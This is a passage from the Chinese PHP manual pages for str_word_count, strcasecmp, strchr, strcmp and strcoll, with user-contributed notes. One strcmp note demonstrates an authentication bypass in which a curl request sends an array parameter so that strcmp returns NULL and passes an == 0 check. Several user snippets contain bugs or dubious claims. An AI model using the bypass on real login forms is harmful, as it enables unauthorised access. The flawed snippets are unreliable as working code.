The idea behind it? Go through the keys of the arrays returned by str_word_count and associate the number of each word with its character position in the phrase. Then use substr to return everything up until the nth character. I have tested this function on rather large entries and it seems to be efficient enough that it does not bog down at all.

Cheers!

Josh
josh at joshblake.net 01-Mar-2007 03:57
I was interested in a function which returned the first few words out of a larger string.

In reality, I wanted a preview of the first hundred words of a blog entry which was well over that.

I found all of the other functions which explode and implode strings to arrays lost key markups such as line breaks etc.

So, this is what I came up with:

<?php
function WordTruncate($input, $numWords) {
if(str_word_count($input,0)>$numWords)
{
    $WordKey = str_word_count($input,1);
    $WordIndex = array_flip(str_word_count($input,2));
    return substr($input,0,$WordIndex[$WordKey[$numWords]]);
}
else {return $input;}
}
?>

While I haven't counted per se, it's accurate enough for my needs. It will also return the entire string if it's less than the specified number of words.

The idea behind it? Use str_word_count to identify the nth word, then use str_word_count to identify the position of that word within the string, then use substr to extract up to that position.

Josh.
30-Jan-2007 08:15
Here is a php work counting function together with a javascript version which will print the same result.

<?php
      //Php word counting function
      function word_count($theString)
      {
        $char_count = strlen($theString);
        $fullStr = $theString." ";
        $initial_whitespace_rExp = "^[[:alnum:]]$";

        $left_trimmedStr = ereg_replace($initial_whitespace_rExp,"",$fullStr);
        $non_alphanumerics_rExp = "^[[:alnum:]]$";
        $cleanedStr = ereg_replace($non_alphanumerics_rExp," ",$left_trimmedStr);
        $splitString = explode(" ",$cleanedStr);

        $word_count = count($splitString)-1;

        if(strlen($fullStr)<2)
        {
          $word_count=0;
        }
        return $word_count;
      }
?>

<?php
      //Function to count words in a phrase
      function wordCount(theString)
      {
        var char_count = theString.length;
        var fullStr = theString + " ";
        var initial_whitespace_rExp = /^[^A-Za-z0-9]+/gi;
        var left_trimmedStr = fullStr.replace(initial_whitespace_rExp, "");
        var non_alphanumerics_rExp = rExp = /[^A-Za-z0-9]+/gi;
        var cleanedStr = left_trimmedStr.replace(non_alphanumerics_rExp, " ");
        var splitString = cleanedStr.split(" ");

        var word_count = splitString.length -1;

        if (fullStr.length <2)
        {
          word_count = 0;
        }
        return word_count;
      }
?>
lwright at psu dot edu 17-Aug-2006 11:51
If you are looking to count the frequency of words, try:

<?php

$wordfrequency = array_count_values( str_word_count( $string, 1) );

?>
MadCoder 15-Aug-2005 09:12
Here's a function that will trim a $string down to a certian number of words, and add a...   on the end of it.
(explansion of muz1's 1st 100 words code)

----------------------------------------------
<?php
function trim_text($text, $count){
$text = str_replace("  ", " ", $text);
$string = explode(" ", $text);
for ( $wordCounter = 0; $wordCounter <= $count;wordCounter++ ){
$trimed .= $string[$wordCounter];
if ( $wordCounter < $count ){ $trimed .= " "; }
else { $trimed .= "..."; }
}
$trimed = trim($trimed);
return $trimed;
}
?>

Usage
------------------------------------------------
<?php
$string = "one two three four";
echo trim_text($string, 3);
?>

returns:
one two three...
16-Jan-2005 06:38
This function seems to view numbers as whitespace. I.e. a word consisting of numbers only won't be counted.
aix at lux dot ee 14-Nov-2004 02:53
One function.
<?php
if (!function_exists('word_count')) {
function word_count($str,$n = "0"){
    $m=strlen($str)/2;
    $a=1;
    while ($a<$m) {
        $str=str_replace("  "," ",$str);
        $a++;
        }
    $b = explode(" ", $str);
    $i = 0;
    foreach ($b as $v) {
        $i++;
        }
    if ($n==1) return $b;
    else  return $i;

    }
}
$str="Tere Tartu linn";
$c  = word_count($str,1); // it return an array
$d  = word_count($str); // it return int - how many words was in text
print_r($c);
echo $d;
?>
aidan at php dot net 26-Jun-2004 03:02
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
Kirils Solovjovs 22-Feb-2004 09:06
Nothing of this worked for me. I think countwords() is very encoding dependent. This is the code for win1257. For other layots you just need to redefine the ranges of letters...

<?php
function countwords($text){
        $ls=0;//was it a whitespace?
        $cc33=0;//counter
        for($i=0;$i<strlen($text);$i++){
                $spstat=false; //is it a number or a letter?
                $ot=ord($text[$i]);
                if( (($ot>=48) && ($ot<=57)) ||  (($ot>=97) && ($ot<=122)) || (($ot>=65) && ($ot<=90)) || ($ot==170) ||
                (($ot>=192) && ($ot<=214)) || (($ot>=216) && ($ot<=246)) || (($ot>=248) && ($ot<=254))  )$spstat=true;
                if(($ls==0)&&($spstat)){
                        $ls=1;
                        $cc33++;
                }
                if(!$spstat)$ls=0;
        }
        return $cc33;
}

?>
Artimis 15-Oct-2003 02:32
Never use this function to count/separate alphanumeric words, it will just split them up words to words, numbers to numbers.  You could refer to another function "preg_split" when splitting alphanumeric words.  It works with Chinese characters as well.
andrea at 3site dot it 19-May-2003 04:55
if string doesn't contain the space " ", the explode method doesn't do anything, so i've wrote this and it seems works better ... i don't know about time and resource

<?php
function str_incounter($match,$string) {
$count_match = 0;
for($i=0;$i<strlen($string);$i++) {
if(strtolower(substr($string,$i,strlen($match)))==strtolower($match)) {
$count_match++;
}
}
return $count_match;
}
?>

example

<?php
$string = "something:something!!something";
$count_some = str_incounter("something",$string);
// will return 3
?>
philip at cornado dot com 06-Apr-2003 07:30
Some ask not just split on ' ', well, it's because simply exploding on a ' ' isn't fully accurate.  Words can be separated by tabs, newlines, double spaces, etc.  This is why people tend to seperate on all whitespace with regular expressions.
rcATinterfacesDOTfr 16-Jan-2003 07:58
Here is another way to count words :
$word_count = count(preg_split('/\W+/', $text, -1, PREG_SPLIT_NO_EMPTY));
brettNOSPAM at olwm dot NO_SPAM dot com 09-Nov-2002 12:06
This example may not be pretty, but It proves accurate:

<?php
//count words
$words_to_count = strip_tags($body);
$pattern = "/[^(\w|\d|\'|\"|\.|\!|\?|;|,|\\|\/|\-\-|:|\&|@)]+/";
$words_to_count = preg_replace ($pattern, " ", $words_to_count);
$words_to_count = trim($words_to_count);
$total_words = count(explode(" ",$words_to_count));
?>

Hope I didn't miss any punctuation. ;-)


二进制安全比较字符串（不区分大小写）

  • ? str_word_count
  • strchr ?
  • PHP Manual
  • 字符串 函数
  • 二进制安全比较字符串（不区分大小写）

strcasecmp

(PHP 4, PHP 5, PHP 7)

strcasecmp — 二进制安全比较字符串（不区分大小写）

说明

strcasecmp ( string $str1 , string $str2 ) : int

二进制安全比较字符串（不区分大小写）。

参数

str1

第一个字符串。

str2

第二个字符串。

返回值

如果 str1 小于 str2 返回 < 0； 如果 str1 大于 str2 返回 > 0；如果两者相等，返回 0。

范例

Example #1 strcasecmp() 范例

<?php
$var1 = "Hello";
$var2 = "hello";
if (strcasecmp($var1, $var2) == 0) {
    echo '$var1 is equal to $var2 in a case-insensitive string comparison';
}
?>

参见

  • strcmp() - 二进制安全字符串比较
  • preg_match() - 执行匹配正则表达式
  • substr_compare() - 二进制安全比较字符串（从偏移位置比较指定长度）
  • strncasecmp() - 二进制安全比较字符串开头的若干个字符（不区分大小写）
  • stristr() - strstr 函数的忽略大小写版本
  • substr() - 返回字符串的子串

User Contributed Notes

chrislarham at NOSPAM dot outlook dot com 13-Oct-2018 08:47
I didn't see any explanation in the documentation as to precisely how the positive/negative return values are calculated for unequal strings.

After a bit of experimentation it appears that it's the difference in alphabetical position of the first character in unequal strings.

For example, the letter 'z' is the 26th letter while the letter 'a' is the 1st letter:

<?php

      $zappl = "zappl";
      $apple = "apple";

      echo strcasecmp($zappl, $apple); #outputs 25 [26 - 1]
      echo strcasecmp($apple, $zappl); #outputs -25 [1 - 26]

?>

This might be incredibly obvious to most people, but hopefully it will clarify the calculation process for some others.
chris at cmbuckley dot co dot uk 28-Dec-2011 04:59
A simple multibyte-safe case-insensitive string comparison:

<?php

function mb_strcasecmp($str1, $str2, $encoding = null) {
    if (null === $encoding) { $encoding = mb_internal_encoding(); }
    return strcmp(mb_strtoupper($str1, $encoding), mb_strtoupper($str2, $encoding));
}

?>

Caveat: watch out for edge cases like "?".
alvaro at demogracia dot com 29-Jul-2010 05:35
Don't forget this is a single-byte function: in Unicode strings it'll provide incoherent results as soon as both strings differ only in case. There doesn't seem to exist a built-in multi-byte alternative so you need to write your own, taking into account both character encoding and collation.
27-Aug-2002 06:53
The sample above is only true on some platforms that only use a simple 'C' locale, where individual bytes are considered as complete characters that are converted to lowercase before being differentiated.

Other locales (see LC_COLLATE and LC_ALL) use the difference of collation order of characters, where characters may be groups of bytes taken from the input strings, or simply return -1, 0, or 1 as the collation order is not simply defined by comparing individual characters but by more complex rules.

Don't base your code on a specific non null value returned by strcmp() or strcasecmp(): it is not portable. Just consider the sign of the result and be sure to use the correct locale!


别名 strstr

  • ? strcasecmp
  • strcmp ?
  • PHP Manual
  • 字符串 函数
  • 别名 strstr

strchr

(PHP 4, PHP 5, PHP 7)

strchr — 别名 strstr()

说明

此函数是该函数的别名： strstr().

User Contributed Notes

webmaster at lyndonstate dot edu 12-Nov-2003 12:01
Alternative Way:
To get all the text before the first occurence.

-----------------------------------------------
INCLUDING A NEEDLE:

$string1 = "I need cookies & soda.";
$needle = "cookies";

//find length of the needle
$needle_len = strlen($needle);

//find postion
$position_num = strpos($string1,$needle) + $needle_len;

//cut the string
$result_string = substr("$string1",0,$position_num);

//display it
echo"$result_string"; // I need cookies

-----------------------------------------------
SHORTER VERSION:

$result_string = substr("$string1",0,strpos($string1,$needle)+strlen($needle));

echo"$result_string";//I need cookies

-----------------------------------------------
EXCLUDING THE NEEDLE:

$result_string = substr("$string1",0,strpos($string1,$needle));

echo"$result_string";// I need

-----------------------------------------------
FREE EMAIL JUNK?

This is probably useful for processing emails.
For example, someone sends email to your server from Yahoo account.
Free email always comes with wasted stuff like...
"Do you Yahoo!? The New Yahoo! Shopping - with improved product search ".
We can delete the phrase like this:

$needle="Do you Yahoo!?";

$result_string = substr("$emailstring",0,strpos($emailstring, $needle));
joaobett at oninet dot pt 10-Jan-2003 08:43
//If you want to get the text before the occurence of the character
//you want to find, simply use the function strRev twice:

$stringA = "user@example.com";
$toFind = "@";

$stringA = strrev($stringA); //The first time
$result = strchr($stringA,$toFind);
$result = strrev($result); //The second time
echo $result; //prints user@

//You can use it this way instead:
echo strrev( strchr(strrev($stringA),$toFind) );

-joao


二进制安全字符串比较

  • ? strchr
  • strcoll ?
  • PHP Manual
  • 字符串 函数
  • 二进制安全字符串比较

strcmp

(PHP 4, PHP 5, PHP 7)

strcmp — 二进制安全字符串比较

说明

strcmp ( string $str1 , string $str2 ) : int

注意该比较区分大小写。

参数

str1

第一个字符串。

str2

第二个字符串。

返回值

如果 str1 小于 str2 返回 < 0； 如果 str1 大于 str2 返回 > 0；如果两者相等，返回 0。

范例

Example #1 strcmp() 例子

<?php
$var1 = "Hello";
$var2 = "hello";
if (strcmp($var1, $var2) !== 0) {
    echo '$var1 is not equal to $var2 in a case sensitive string comparison';
}
?>

参见

  • strcasecmp() - 二进制安全比较字符串（不区分大小写）
  • preg_match() - 执行匹配正则表达式
  • substr_compare() - 二进制安全比较字符串（从偏移位置比较指定长度）
  • strncmp() - 二进制安全比较字符串开头的若干个字符
  • strstr() - 查找字符串的首次出现
  • substr() - 返回字符串的子串

User Contributed Notes

kgun ! mail ! com 12-Feb-2019 10:16
In case you want to get results -1, 0 or 1 always, like JS indexOf();

<?php
function cmp(string $str1, string $str2): int {
    return ($str1 > $str2) - ($str1 < $str2);
}

$str1 = 'a';
$str2 = 'z';
var_dump(cmp($str1, $str2), strcmp($str1, $str2));

//=> int(-1) int(-25) int(-25)

$str1 = 'a';
$str2 = '1';
var_dump(cmp($str1, $str2), strcmp($str1, $str2));
//=> int(1) int(48) int(48)
?>
mikael1 at mail dot ru 27-Jan-2019 03:05
1) If the two strings have identical BEGINNING parts, they are trunkated from both strings.
2) The resulting strings are compared with two possible outcomes:
a) if one of the resulting strings is an empty string, then the length of the non-empty string is returned (the sign depending on the order in which you pass the arguments to the function)
b) in any other case just the numerical values of the FIRST characters are compared. The result is +1 or -1 no matter how big is the difference between the numerical values.

<?php
$str = array('','a','afox','foxa');
$size = count($str);

echo '<pre>';
for($i=0; $i<$size; $i++)
{
  for($j=$i+1; $j<$size; $j++)
  {
    echo '<br>('.$str[$i].','.$str[$j].') = '.strcmp($str[$i], $str[$j]);
    echo '<br>('.$str[$j].','.$str[$i] .') = '.strcmp($str[$j], $str[$i]);
  }
}
echo '</pre>';
?>

In Apache/2.4.37 (Win32) OpenSSL/1.1.1 PHP/7.2.12 produces the following results:

(,a) = -1 //comparing with an empty string produces the length of the NON-empty string
(a,) = 1 // ditto
(,afox) = -4 // ditto
(afox,) = 4 // ditto
(,foxa) = -4 // ditto
(foxa,) = 4 // ditto
(a,afox) = -3 // The identical BEGINNING part ("a") is trunkated from both strings. Then the remaining "fox" is compared to the remaing empty string in the other argument. Produces the length of the NON-empty string. Same as in all the above examples.
(afox,a) = 3 // ditto
(a,foxa) = -1 // Nothing to trunkate. Just the numerical values of the first letters are compared
(foxa,a) = 1 // ditto
(afox,foxa) = -1 // ditto
(foxa,afox) = 1 // ditto
sarahjhwang 14-Feb-2018 05:33
strcmp returns strlen($str1)-strlen($str2) when one string is the part of the other string. Otherwise it returns -1 or 1 if two strings are not identical and 0 when they are.

<?php
echo strcmp("Hello world!","Hworld")."<br>";  //-1
echo strcmp("Hello world!","Hello")."<br>";     //7
echo strcmp("Hello world!","Hworld world! Hello!")."<br>"; //-1
echo strcmp("Hello world!","Hello world! Hello!")."<br>";    //-7
kamil dot k dot kielczewski at gmail dot com 24-Oct-2017 07:50
Vulnerability (in PHP >=5.3) :

<?php
if (strcmp($_POST['password'], 'sekret') == 0) {
    echo "Welcome, authorized user!\n";
} else {
    echo "Go away, imposter.\n";
}
?>

$ curl -d password=sekret http://andersk.scripts.mit.edu/strcmp.php
Welcome, authorized user!

$ curl -d password=wrong http://andersk.scripts.mit.edu/strcmp.php
Go away, imposter.

$ curl -d password[]=wrong http://andersk.scripts.mit.edu/strcmp.php
Welcome, authorized user!

SRC of this example: https://www.quora.com/Why-is-PHP-hated-by-so-many-developers
luizvid at gmail dot com 04-Oct-2015 10:01
strcmp returns -1 ou 1 if two strings are not identical,
and 0 when they are, except when comparing a string and an empty string (<?php $a = "";  ?>), it returns the length of the string.

For instance:
<?php
        $a = "foo"; // length 3
        $b = ""; // empty string
        $c = "barbar"; // length 6

        echo strcmp($a, $a); // outputs 0
        echo strcmp($a, $c); // outputs 1
        echo strcmp($c, $a); // outputs -1
        echo strcmp($a, $b); // outputs 3
        echo strcmp($b, $a); // outputs -3
        echo strcmp($c, $b); // outputs 6
        echo strcmp($b, $c); // outputs -6
?>
chris at unix-ninja dot com 01-Oct-2013 06:52
Since it may not be obvious to some people, please note that there is another possible return value for this function.

strcmp() will return NULL on failure.

This has the side effect of equating to a match when using an equals comparison (==).
Instead, you may wish to test matches using the identical comparison (===), which should not catch a NULL return.

---------------------
  Example
---------------------

$variable1 = array();
$ans === strcmp($variable1, $variable2);

This will stop $ans from returning a match;

Please use strcmp() carefully when comparing user input, as this may have potential security implications in your code.
lehal2 at hotmail dot com 01-Jan-2013 11:32
i hope this will give you a clear idea how strcmp works internally.

<?php
$str1 = "b";
echo ord($str1); //98
echo "<br/>";
$str2 = "t";
echo ord($str2); //116
echo "<br/>";
echo ord($str1)-ord($str2);//-18
$str1 = "bear";
$str2 = "tear";
$str3 = "";
echo "<pre>";
echo strcmp($str1, $str2); // -18
echo "<br/>";
echo strcmp($str2, $str1); //18
echo "<br/>";
echo strcmp($str2, $str2); //0
echo "<br/>";
echo strcmp($str2, $str3); //4
echo "<br/>";
echo strcmp($str3, $str2); //-4
echo "<br/>";
echo strcmp($str3, $str3); // 0
echo "</pre>";
?>
jendoj at gmail dot com 07-May-2012 11:00
If you rely on strcmp for safe string comparisons, both parameters must be strings, the result is otherwise extremely unpredictable.
For instance you may get an unexpected 0, or return values of NULL, -2, 2, 3 and -3.

strcmp("5", 5) => 0
strcmp("15", 0xf) => 0
strcmp(61529519452809720693702583126814, 61529519452809720000000000000000) => 0
strcmp(NULL, false) => 0
strcmp(NULL, "") => 0
strcmp(NULL, 0) => -1
strcmp(false, -1) => -2
strcmp("15", NULL) => 2
strcmp(NULL, "foo") => -3
strcmp("foo", NULL) => 3
strcmp("foo", false) => 3
strcmp("foo", 0) => 1
strcmp("foo", 5) => 1
strcmp("foo", array()) => NULL + PHP Warning
strcmp("foo", new stdClass) => NULL + PHP Warning
strcmp(function(){}, "") => NULL + PHP Warning
hrodicus at gmail dot com 28-Feb-2011 06:40
Note a difference between 5.2 and 5.3 versions

echo (int)strcmp('pending',array());
will output -1 in PHP 5.2.16 (probably in all versions prior 5.3)
but will output 0 in PHP 5.3.3

Of course, you never need to use array as a parameter in string comparisions.
hm2k at php dot net 02-Aug-2010 04:41
Don't forget the similar_text() function...

http://php.net/manual/en/function.similar-text.php
Rob Wiesler 21-Jul-2009 12:48
One big caveat - strings retrieved from the backtick operation may be zero terminated (C-style), and therefore will not be equal to the non-zero terminated strings (roughly Pascal-style) normal in PHP. The workaround is to surround every `` pair or shell_exec() function with the trim() function. This is likely to be an issue with other functions that invoke shells; I haven't bothered to check.

On Debian Lenny (and RHEL 5, with minor differences), I get this:

====PHP====
<?php
$sz = `pwd`;
$ps = "/var/www";

echo "Zero-terminated string:<br />sz = ".$sz."<br />str_split(sz) = "; print_r(str_split($sz));
echo "<br /><br />";

echo "Pascal-style string:<br />ps = ".$ps."<br />str_split(ps) = "; print_r(str_split($ps));
echo "<br /><br />";

echo "Normal results of comparison:<br />";
echo "sz == ps = ".($sz == $ps ? "true" : "false")."<br />";
echo "strcmp(sz,ps) = ".strcmp($sz,$ps);
echo "<br /><br />";

echo "Comparison with trim()'d zero-terminated string:<br />";
echo "trim(sz) = ".trim($sz)."<br />";
echo "str_split(trim(sz)) = "; print_r(str_split(trim($sz))); echo "<br />";
echo "trim(sz) == ps = ".(trim($sz) == $ps ? "true" : "false")."<br />";
echo "strcmp(trim(sz),ps) = ".strcmp(trim($sz),$ps);
?>

====Output====
Zero-terminated string:
sz = /var/www
str_split(sz) = Array ( [0] => / [1] => v [2] => a [3] => r [4] => / [5] => w [6] => w [7] => w [8] => )

Pascal-style string:
ps = /var/www
str_split(ps) = Array ( [0] => / [1] => v [2] => a [3] => r [4] => / [5] => w [6] => w [7] => w )

Normal results of comparison:
sz == ps = false
strcmp(sz,ps) = 1

Comparison with trim()'d zero-terminated string:
trim(sz) = /var/www
str_split(trim(sz)) = Array ( [0] => / [1] => v [2] => a [3] => r [4] => / [5] => w [6] => w [7] => w )
trim(sz) == ps = true
strcmp(trim(sz),ps) = 0
wsogmm at seznam dot cz 16-May-2009 08:45
Just a short comment to the note of arnar at hm dot is: md5() is a hash function and therefore it may happen (although it is very unlikely) that the md5() checksums of  two different strings will be equal (hash collision) ...
arnar at hm dot is 15-May-2009 07:51
Sometimes when you compare two strings that look "the same", you will find that they aren't. If you don't want to bother finding out why, then this is a simple solution:

$string = implode(str_split($string));

Converting the strings to md5 is also a nice method to see if they're equal.

md5($str1)."\n";
md5($str2)."\n\n";

____________
Arnar Yngvason
ThinkSoftware
nullhility at gmail dot com 15-Mar-2009 02:36
For those that are confused about the way this function works:

<?php
$str1 = 'a';
$str2 = 'b';
var_dump(strcmp($str1, $str2)); //int(-1)
?>

Alphabetically 'a' precedes 'b'. If we view the strings as values 'a' is less than 'b' and therefore the function returns -1.

If we were searching through an alphabetically sorted list we'd have a numerical index ($i) and compare the search string ($sstr) against each member of the string list ($slist), using strcmp we can check whether to go "up"($i++) or "down"($i--) through this list.

Here's the example function:
<?php
function strInList ($sstr)
{
    $slist = array('a', 'b', 'c', 'd', 'e' /* etc */);

    $i = sizeof($slist) / 2; //start the index in the middle

    while ($i < sizeof($slist) && $i >= 0) { //constrain $i to the scope of $slist

        $cmp = strcmp($slist[$i], $sstr);

        if ($cmp > 0) { //alphabetically, $slist[$i] procedes $sstr
            $i--; //move DOWN the list
        } else if ($cmp < 0) { //alphabetically, $slist[$i] precedes $sstr
            $i++; //move UP the list
        } else if ($cmp == 0) { //$slist[$i] occurs neither before nor after $sstr
            return true; //successful match
        }
    }
    return false; //The index fell out of the list scope, with no match made
}
?>
g-lock at nv-net.ru 18-Jun-2008 11:08
Here is my function to compare russian words.
You can replace $abc to your alphabet.

function strcmp_rus($str1, $str2)
{
    $abc = "АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ
абвгдеёжзийклмнопрстуфхцчшщъыьэюя";
    $len = min(strlen($str1), strlen($str2));
    for ($i = 0; $i < $len; $i++)
    {
        $s1 = strlen($abc);
        $s2 = strlen($abc);
        for ($j = 0; $j < strlen($abc); $j++) if ($str1[$i] == $abc[$j]) $s1 = $j;
        for ($k = 0; $k < strlen($abc); $k++) if ($str2[$i] == $abc[$k]) $s2 = $k;
        if ($s1 < $s2) return -1;
        else if ($s1 > $s2) return 1;
    }
    return 0;
}
M. Egmond 22-Aug-2006 03:21
php dot or dot die at phpuser dot net wrote that he had an unexpected difference in comparing between case sensitive and insensitive. They key there is that the case insensitive comparison converts both strings to lowercase before comparing. Since the underscore character is in a different place when compared to an uppercase or lowercase string, the result is different.

There is no 'clear' order of punctuation and other characters in or around the alphabet. Most code assumes ASCII order in which case there are several characters before both upper- and lowercase, a few inbetween, and some after both upper- and lowercase.

Note also many other/older implementations of sorting sort accented character wrong since they appear after all other alphabetical characters in most charactersets. There is probably a function in PHP to take this into account though.

Therefore I would not recommend to make a detailed assumption on how punctuation and other characters sort in relation to alphabetical characters. If sorting these characters at a specific place and in a specific order is important for you, you should probably write a custom string comparison function that does it the way you want. Usually it's sufficient to have a consistent sorting order though, which is what you get by using either strcmp, or strcasecmp consistently.
jeff at skrysak dot com 03-Aug-2006 07:36
The definition of return values of this function is listed correctly on this page, however, there is a common misconception in the notes posted here previously from users.

A previous poster said:
If $str1 == $str2 strcmp return 0.
If $str1  > $str2 strcmp return 1.
If $str1  < $str2 strcmp return -1.

That is incorrect, please look at the definition of the function
at the top of this page. It returns less than 0 if str1 is less than str2. Note the phrase "less than", it does not return just -1, but any negative value. The same happens when str1 is greater than str2, but it returns a positive, non-zero value. It returns a positive value that can be 1, or any number thereafter.

strcmp() returns a number that is the difference between the two strings starting with the last character that was found to be similar.

Here is an example:

$output = strcmp("red", "blue");

The variable $output with contain a value of 16
francis at flourish dot org 08-Dec-2005 06:57
If you want to strings according to locale, use strcoll instead.
element @ no spam dot net 19-Feb-2005 03:42
When using strcmp to compare results received from a form, keep in mind that the way you decide to encapsulate the value of the form will have an effect on your strcmp() results.

Example:

<input type="post" name="user[0]" value="abc">
<input type="post" name="user[1]" value='abc'>

strcmp() will not return the values sent from this form as "0".

However, by using single-quotes or double-quotes to encapsulate BOTH values, strcmp() will return a "0" result.
jcanals at totsoft dot com 30-Jan-2004 06:05
Some notes about the spanish locale. I've read some notes that says  "CH", "RR" or "LL" must be considered as a single letter in Spanish. That's not really tru. "CH", "RR" and "LL" where considered a single letter in the past (lot of years ago), for that you must use the "Tradictional Sort". Nowadays, the Academy uses the Modern Sort and recomends not to consider anymore "CH", "RR" and "LL" as a single letter. They must be considered two separated letters and sort and compare on that way.

Ju just have to take a look to the Offial Spanish Language Dictionary and you can see there that from many years ago there is not the separated section for "CH", "LL" or "RR" ... i.e. words starting with CH must be after the ones starting by CG, and before the ones starting by CI.
gregd at sad dot net 08-Sep-2003 11:49
In cases when you need to compare a line from a just parsed file stream to match a user-defined "nametag" (useful for parsing ini and configuration files), keep in mind the 'end of line' tags as well:

// nametag to look for in a file (notice a required "\r\n" at the end)
$nametag = "[System]\r\n";

// ...assuming the file has been aready opened for reading and the stream is bound to $filehandle... parse the file until an EOF or $nametag encountered.

while (!feof ($handle))
{
    $buffer = fgets($filehandle);
    if (strcmp($nametag, $buffer) == 0)
    {
        // at this point "[System]" is found, do additional parsings...
        break;
    }
}
admin[nospam] at pretend dot tk 17-Jun-2003 07:44
Reguarding the above note on language specific string comparisons, LL and RR are also single letters in the Spanish language.
izhan dot khalib at acpibhd dot com 16-Dec-2002 11:13
I have tried the  strcmp function. Pls be very carefull. The string comparison must exactly "equal". So many people had confused.

I.e

My program read a string from test.txt file to get the
"[company name]" string.

// get contents of a file into a string
$filename = "test.txt";
$fd = fopen ($filename, "rb");
$contents = fread ($fd, filesize ($filename));

for($i=0;$i<strpos($contents, "]")+1;$i++)
{
//print $contents[$i];
//$a=trim($contents[$i]);
$a=$contents[$i];
echo $a;
//echo $i;
}

$str2="[companyname]";

// this comparison will resulted on greater (1), $result=1
//please remember $tempvariable[2] != $tempvariable (is not equal)
$result = strcmp(strtolower($a),strtolower($str2));

//this comparison working properly, $result=0
//$result = strcmp(strtolower($a),strtolower($str2[12]));

echo $result;

if ($a==$str2[12]) //double check the equality of string
{
echo "read the NextLine"; }
 else {
 echo "not equal";
 }
//end

fclose ($fd);
?>

I hope the above example will help you.
madsen at sjovedyr dot dk 02-Oct-2002 11:59
It's definitely worth noting that the return-values of strcmp() when used for i.e. password-checking is the oposite of that of the ==-operator.

I.e.:
$pw1 = "yeah";
$pw2 = "yeah";

if (strcmp($pw1, $pw2)) {   // This returns false.
    // $pw1 and $pw2 are NOT the same.
} else {
    // $pw1 and $pw2 are the same.
}

Where the use of the == operator would give us.:
if ($pw1==$pw2) {    // This returns true.
    // $pw1 and $pw2 are the same.
} else {
    // $pw1 and $pw2 are NOT the same.
}

Additionally, to check if $pw1 and $pw2 are of the same type you can use the === operator.
27-Aug-2002 06:45
In summary, strcmp() does not necessarily use the ASCII code order of each character like in the 'C' locale, but instead parse each string to match language-specific character entities (such as 'ch' in Spanish, or 'dz' in Czech), whose collation order is then compared. When both character entities have the same collation order (such as 'ss' and '?' in German), they are compared relative to their code by strcmp(), or considered equal by strcasecmp().
The LC_COLLATE locale setting is then considered: only if LC_COLLATE=C or LC_ALL=C does strcmp() compare strings by character code.
Generally, most locales define the following order:
control, space, punctuation and underscore, digit, alpha (lower then upper with Latin scripts; or final, middle, then isolated, initial with Arabic script), symbols, others...
With strcasecmp(), the alpha subclass is ignored and consider all forms of letters as equal.
Note also that some locales behave differently with accented characters: some consider they are the same letter as the unaccented letter (with a minor collation order, e.g. French, Italian, Spanish), some consider they are distinct letters with an independant collation order (e.g. in the C locale, or in Nordic languages).
Finally, the collation string is not considering individual characters but instead groups of characters that form a single letter:
- for example "ch" or "CH" in Spanish which is always after all other strings beginning with 'c' or 'C', including "cz", but before 'd' or 'D';
- 'ss' and '?' in German;
- 'dz', 'DZ' and 'Dz' in some Central European languages written with the Latin script...
- UTF-8, UTF-16 (Unicode), S-JIS, Big5, ISO2022 character encoding of a locale (the suffix in the locale name) first decode the characters into the UCS4/ISO10646 code position before applying the rules of the language indicated by the main locale...
So be extremely careful to what you consider a "character", as it may just mean a encoding byte with no significance in the string collation algorithm: the first character of the string "cholera" in Spanish is "ch", not "c" !
owen at cips dot nokia dot com 03-Nov-2000 04:23
Regarding bizarre return values from str*cmp(), I was having similar troubles until I realized that I was attempting to compare a string with HTML formatting with its plain-text equivilant. The formatted string was an <OPTION> value, so the HTML was rendered without the <b> and <i> formatting I was using. Consequently the formatted and unformatted strings were rendered identically in the browser. D'oh!
frewuill at merlin-corp dot com 28-Feb-2000 02:49
Hey be sure the string you are comparing has not special characters like '\n' or something like that.


基于区域设置的字符串比较

  • ? strcmp
  • strcspn ?
  • PHP Manual
  • 字符串 函数
  • 基于区域设置的字符串比较

strcoll

(PHP 4 >= 4.0.5, PHP 5, PHP 7)

strcoll — 基于区域设置的字符串比较

说明

strcoll ( string $str1 , string $str2 ) : int

注意该比较区分大小写。和 strcmp() 不同，该函数不是二进制安全的。

strcoll() 使用当前区域设置进行比较。如果当前区域为 C 或 POSIX，该函数等同于 strcmp()。

参数

str1

第一个字符串。

str2

第二个字符串。

返回值

如果 str1 小于 str2 返回 < 0； 如果 str1 大于 str2 返回 > 0；如果两者相等，返回 0。

更新日志

版本 | 说明
4.2.3 | 函数在 Win32 平台可用。

参见

  • preg_match() - 执行匹配正则表达式
  • strcmp() - 二进制安全字符串比较
  • strcasecmp() - 二进制安全比较字符串（不区分大小写）
  • substr() - 返回字符串的子串
  • stristr() - strstr 函数的忽略大小写版本
  • strncasecmp() - 二进制安全比较字符串开头的若干个字符（不区分大小写）
  • strncmp() - 二进制安全比较字符串开头的若干个字符
  • strstr() - 查找字符串的首次出现
  • setlocale() - 设置地区信息

User Contributed Notes

mkroese at eljakim dot nl 02-Aug-2019 09:13
You should not rely on this function to properly compare localized strings.

<?php
$a = "?sterreich";
$b = "Oesterreich";
$z = "Zeta";

echo setlocale(LC_ALL, 0) . PHP_EOL; // (on my mac: C/en_US.UTF-8/C/C/C/C)
echo strcoll($a, $b) . PHP_EOL; // 116
echo strcoll($b, $a) . PHP_EOL; // -116
echo strcoll($a, $z) . PHP_EOL; // 105

echo setlocale(LC_ALL, "de_DE") . PHP_EOL; // de_DE
echo strcoll($a, $b) . PHP_EOL; // 135
echo strcoll($b, $a) . PHP_EOL; // -135
echo strcoll($a, $z) . PHP_EOL; // 124

$collator = new Collator("de_DE");
echo $collator->compare($a, $b); // 1
echo $collator->compare($b, $a); // -1
echo $collator->compare($a, $z); // -1
?>

Using the Collator (from the intl module) you will get the expected result for e.g. sorting such that the string "?sterreich" will rank higher than "Zeta", but after "Oesterreich".

strcoll's output will differ per platform, locale and used c library, while the Collator will give more stable results on different platforms.
sakkarinlaohawisut15 at hotmail dot com 22-Mar-2003 11:31
strcoll()'s behavior is sometimes a little bit confusing. It depends on LC_COLLATE in your locale.

<?php

 $a = 'a';
 $b = 'A';

 print strcmp ($a, $b) . "\n"; // prints 1

setlocale (LC_COLLATE, 'C');
 print "C: " . strcoll ($a, $b) . "\n"; // prints 1

 setlocale (LC_COLLATE, 'de_DE');
 print "de_DE: " . strcoll ($a, $b) . "\n"; // prints -2

 setlocale (LC_COLLATE, 'de_CH');
